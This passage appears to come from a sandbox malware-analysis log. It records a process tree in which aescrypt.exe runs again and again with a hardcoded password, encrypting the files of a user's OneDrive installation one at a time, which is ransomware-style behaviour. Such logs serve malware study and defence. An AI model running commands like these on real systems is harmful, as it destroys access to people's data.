  2⤵
  PID:5576
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-1-0.dll"
  2⤵
  PID:3876
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-2-0.dll"
  2⤵
  PID:4380
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-sysinfo-l1-1-0.dll"
  2⤵
  PID:2624
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-timezone-l1-1-0.dll"
  2⤵
  PID:4940
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-util-l1-1-0.dll"
  2⤵
  PID:4684
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-conio-l1-1-0.dll"
  2⤵
  PID:3780
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-convert-l1-1-0.dll"
  2⤵
  PID:4964
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-environment-l1-1-0.dll"
  2⤵
  PID:5808
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-filesystem-l1-1-0.dll"
  2⤵
  PID:5816
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-heap-l1-1-0.dll"
  2⤵
  PID:3980
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-locale-l1-1-0.dll"
  2⤵
  PID:3328
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-math-l1-1-0.dll"
  2⤵
  PID:3296
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-multibyte-l1-1-0.dll"
  2⤵
  PID:3256
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-private-l1-1-0.dll"
  2⤵
  PID:4424
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-process-l1-1-0.dll"
  2⤵
  PID:2620
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-runtime-l1-1-0.dll"
  2⤵
  PID:1236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-stdio-l1-1-0.dll"
  2⤵
  PID:1792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-string-l1-1-0.dll"
  2⤵
  PID:1432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-time-l1-1-0.dll"
  2⤵
  PID:5740
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-utility-l1-1-0.dll"
  2⤵
  PID:1512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppBlue.png"
  2⤵
  PID:5904
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppErrorBlue.png"
  2⤵
  PID:7080
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppErrorWhite.png"
  2⤵
  PID:6072
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppWhite.png"
  2⤵
  PID:6880
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AutoPlayOptIn.gif"
  2⤵
  PID:6244
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AutoPlayOptIn.png"
  2⤵
  PID:7572
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\CollectSyncLogs.bat"
  2⤵
  PID:7580
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ElevatedAppBlue.png"
  2⤵
  PID:6996
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ElevatedAppWhite.png"
  2⤵
  PID:7788
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Error.png"
  2⤵
  PID:8072
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ErrorPage.html"
  2⤵
  PID:8972
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ETWlog.dll"
  2⤵
  PID:7184
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe"
  2⤵
  PID:7204
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuthLib.dll"
  2⤵
  PID:7304
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.LocalizedResources.dll"
  2⤵
  PID:7412
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.Resources.dll"
  2⤵
  PID:7488
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncApi.dll"
  2⤵
  PID:9096
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncClient.dll"
  2⤵
  PID:4596
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe"
  2⤵
  PID:4752
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFAL.dll"
  2⤵
  PID:5136
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFALWB.dll"
  2⤵
  PID:5316
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncSessions.dll"
  2⤵
  PID:5340
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll"
  2⤵
  PID:7784
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncViews.dll"
  2⤵
  PID:392
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcfile.dll"
  2⤵
  PID:4784
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ipcsecproc.dll"
  2⤵
  PID:2296
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMHeroToast.png"
  2⤵
  PID:3108
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMLockedFileToast.png"
  2⤵
  PID:7660
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMScanExclusionToast.png"
  2⤵
  PID:2700
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libeay32.dll"
  2⤵
  PID:9108
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libEGL.dll"
  2⤵
  PID:6968
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\libGLESv2.dll"
  2⤵
  PID:6956
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LoadingPage.html"
  2⤵
  PID:6924
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LoggingPlatform.dll"
  2⤵
  PID:7360
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LogUploader.dll"
  2⤵
  PID:7476
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msipc.dll"
  2⤵
  PID:384
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\msvcp140.dll"
  2⤵
  PID:9112
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveLogo.png"
  2⤵
  PID:5184
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveSetup.exe"
  2⤵
  PID:5248
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Core.dll"
  2⤵
  PID:5256
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5DBus.dll"
  2⤵
  PID:6132
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Gui.dll"
  2⤵
  PID:5432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Network.dll"
  2⤵
  PID:5152
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5PrintSupport.dll"
  2⤵
  PID:7528
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Qml.dll"
  2⤵
  PID:7552
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Quick.dll"
  2⤵
  PID:7600
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickControls2.dll"
  2⤵
  PID:3692
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickTemplates2.dll"
  2⤵
  PID:4020
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Svg.dll"
  2⤵
  PID:9120
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Widgets.dll"
  2⤵
  PID:4952
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5WinExtras.dll"
  2⤵
  PID:3348
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaCritical.png"
  2⤵
  PID:996
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaError.png"
  2⤵
  PID:316
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaNearing.png"
  2⤵
  PID:1408
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\RemoteAccess.dll"
  2⤵
  PID:3044
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\SaveApplicationEventLogs.wsf"
  2⤵
  PID:4948
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ScreenshotOptIn.gif"
  2⤵
  PID:1768
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ssleay32.dll"
  2⤵
  PID:1864
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\SyncEngine.dll"
  2⤵
  PID:2024
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Telemetry.dll"
  2⤵
  PID:1452
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\TestSharePage.html"
  2⤵
  PID:2212
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ThirdPartyNotices.txt"
  2⤵
  PID:3316
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ucrtbase.dll"
  2⤵
  PID:4064
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\UpdateRingSettings.dll"
  2⤵
  PID:5068
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\vcruntime140.dll"
  2⤵
  PID:3144
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Warning.png"
  2⤵
  PID:2156
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\WnsClientApi.dll"
  2⤵
  PID:4924
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\OneDrive.adml"
  2⤵
  PID:5648
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\OneDrive.admx"
  2⤵
  PID:2256
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\de\OneDrive.adml"
  2⤵
  PID:9160
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\es\OneDrive.adml"
  2⤵
  PID:4420
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\fr\OneDrive.adml"
  2⤵
  PID:4356
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\hu\OneDrive.adml"
  2⤵
  PID:552
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\it\OneDrive.adml"
  2⤵
  PID:7140
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\ja\OneDrive.adml"
  2⤵
  PID:7456
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\ko\OneDrive.adml"
  2⤵
  PID:7236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\nl\OneDrive.adml"
  2⤵
  PID:7924
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\pl\OneDrive.adml"
  2⤵
  PID:1880
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\pt-BR\OneDrive.adml"
  2⤵
  PID:9132
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\pt-PT\OneDrive.adml"
  2⤵
  PID:7988
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\ru\OneDrive.adml"
  2⤵
  PID:6668
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\sv\OneDrive.adml"
  2⤵
  PID:6672
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\tr\OneDrive.adml"
  2⤵
  PID:6736
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\zh-CN\OneDrive.adml"
  2⤵
  PID:7856
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\zh-TW\OneDrive.adml"
  2⤵
  PID:6696
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\af\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:6800
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\am-ET\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8304
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileCoAuthLib64.dll"
  2⤵
  PID:8528
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncApi64.dll"
  2⤵
  PID:8468
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll"
  2⤵
  PID:8508
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ar\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8428
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncApi64.dll"
  2⤵
  PID:8436
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncShell64.dll"
  2⤵
  PID:8500
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\as-IN\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8616
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\az-Latn-AZ\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:8392
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\be\FileSync.LocalizedResources.dll.mui"
  2⤵
  PID:4108
- C:\Users\Admin\Desktop\aescrypt.exe
